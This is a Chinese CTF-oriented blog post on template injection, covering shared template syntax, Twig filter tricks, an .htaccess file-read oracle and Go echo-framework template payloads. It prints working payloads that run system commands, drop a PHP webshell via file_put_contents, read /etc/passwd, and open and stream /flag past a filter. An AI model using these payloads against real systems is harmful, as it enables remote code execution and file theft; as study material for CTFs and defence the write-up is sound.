浅谈模板语法的一些共性和GoLang 模板的一些机制
你回来吗 发表于 黑龙江 WEB安全 617浏览 · 2024-02-14 17:32

Background

翻了下自己的收藏发现有很多模板注入相关的记录,于是拿出一些共性来分析下,而GoLang是相对非常安全的语言,除了过时的库以外,现在唯一的可以玩的地方就是SSTI,我在做相关的CTF题时候,发现了一些有趣的玩法

模板语法的一些共性

解析头

近几年在关注一些CTF中,我发现了一些比较有趣的事情,比如某些语法是具有通用性的

首先都会有一些解析的符号标识 比如{{}} {% %} 有的时候就会在这里作文章。比如我以前在wolvesec ctf中提到一个 chunk-templates 的模板

这里我们搜索相关文档的时候,可以发现$就是他解析的标识 但是

在这道题目里面$被ban掉了 但你打断点跟进模板解析的时候会发现

~同样可以作为模板解析的字符 所以你在关注解析引擎的时候一定要看完整的解析过程,多读代码

某些函数

除了这个之外还有一些有意思的是有些语法支持函数调用,同样我在先知发过一篇高版本模板注入tricks 提到了Twig模板

{{["id"]|map("system")}}
{{{"<?php phpinfo();eval($_POST[1])":"/var/www/html/1.php"}|map("file_put_contents")}}    
{{["id", 0]|sort("system")}}
{{["id"]|filter("system")}}
{{[0, 0]|reduce("system", "id")}}

支持以|形式的函数调用

我们刚才提到的这个chunk-template很显然也支持这种类似的调用方法

{.{%24flag%7d|urldecode()}

语法

每个模板也都有很多常见的语法 比如if

{% if ($weather) %}
 {% if ($weather == sunny) %}
  {% include #picture_of_sun %}
 {% elseIf ($weather == rainy)  %}
  {% include #picture_of_rain %}
 {% elseIf ($weather =~ /snowy|flurries/) %}
  {% include #picture_of_snow %}
 {% elseIf ($weather == $weather_in_philly) %}
  {% include #always_sunny %}
 {% else %}
  {% include #default_picture %}
 {% endif %}
{% endif %}

支持类似这样的调用,这个给了我们一些思路,比如在某些情况下,我们可不可以通过盲注的手法,来获取一些东西呢?

答案肯定是可以的

比如在上面说的那道题里

{{% if(flag=~/^{re.escape(tmp)}/) %}}{test}{{% endif %}}

如果监测到test就继续加入一直重复下去就好

在模板之外,也有类似的东西 在曾经某个比赛中一道文件上传的题 本意考察.htaccess的rce利用方式,但是在wupco老师的wp里给了我们一个耳目一新的新解法

他说 在.htaccess里其实也支持if类似的匹配,而且还有一个神奇的函数 file

可以进行读取文件,但是比较麻烦的一点在于,怎么判断匹配正确与否呢?

wupco老师 定义了一个ErrorDocument 是404 这样如果报错 就可以在一个404网页看到他定义的wupco字符串,真是一个天才的思路

<If "file('/etc/passwd')=~ /root/">
ErrorDocument 404 "wupco"
</If>

GoLang模板注入的一些机制

某道题目里的大致代码如下

func templateMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        file, err := os.Open("./template.html")
        if err != nil {
            return err
        }
        stat, err := file.Stat()
        if err != nil {
            return err
        }
        buf := make([]byte, stat.Size())
        _, err = file.Read(buf)
        if err != nil {
            return err
        }

        userTemplate := c.Request().Header.Get("Template")

        if userTemplate != "" {
            buf = []byte(userTemplate)
        }

        c.Set("template", buf)
        return next(c)
    }
}

func handleIndex(c echo.Context) error {
    tmpl, ok := c.Get("template").([]byte)

    if !ok {
        return fmt.Errorf("failed to get template")
    }

    tmplStr := string(tmpl)
    t, err := template.New("page").Parse(tmplStr)
    if err != nil {
        return c.String(http.StatusInternalServerError, err.Error())
    }

    buf := new(bytes.Buffer)

    if err := t.Execute(buf, c); err != nil {
        return c.String(http.StatusInternalServerError, err.Error())
    }

    return c.HTML(http.StatusOK, buf.String())
}

func main() {
    e := echo.New()

    e.Use(middleware.Logger())
    e.Use(middleware.Recover())

    e.GET("/", handleIndex, templateMiddleware)

    e.Logger.Fatal(e.Start(":3001"))
}

我们可以很容易看见这个需要我们在template传模板 想到直接调用File就好了

{{ .File "/flag" }}

但是其实他做了一层proxy

if (/flag\{.*\}/.test(data)) {
          return reply.code(403).send("??");
        }

不允许出现flag字样 我翻阅了一些相关资料 发现

{{ .Echo.Filesystem.Open "/etc/passwd" }}

我们可以通过这样的方式来打开文件 但是他返回的值是fs.File

但是他有一个Read函数 但是传入的是个数组 开心的是

if userTemplate != "" {
            buf = []byte(userTemplate)
        }

本身模板就是数组

所以我们可以

  1. {{ $a := .Get "template" }}
  2. {{ $b := .Echo.FileSystem.Open "/flag" }}
  3. {{ $c := $b.Read $a }}
  4. {{ $a }}

就可以了,最后获得的结果是byte[]转换一下就好了

那有没有别的思路呢?

因为他只针对匹配了一个flag的头,根据我们以前的思路 还是可以寻找一些查找相关的方法 如何清洗掉

找到了一个os.File中的Seek方法,那便移掉四位头其实就可以了

而且我发现了个echo.Context接下来的结构体

func (c *context) Stream(code int, contentType string, r io.Reader) (err error) {
    c.writeContentType(contentType)
    c.response.WriteHeader(code)
    _, err = io.Copy(c.response, r)
    return
}

Stream打开的文件会被复制和响应,而且可以自定义ContentType头,那我们还可以省一步转byte

poc如下

{{ $f :=  .Echo.Filesystem.Open "/flag" }} {{ $f.Seek 4 0 }} {{ .Stream 200 "text/html" $f }}

总结

模板语言的特性和一些语法有很多,在实际使用中,可以更多的关注文档和IDE,比如一个好的找Golang结构体的方法,就是通过Vscode查找。

0 条评论
某人
表情
可输入 255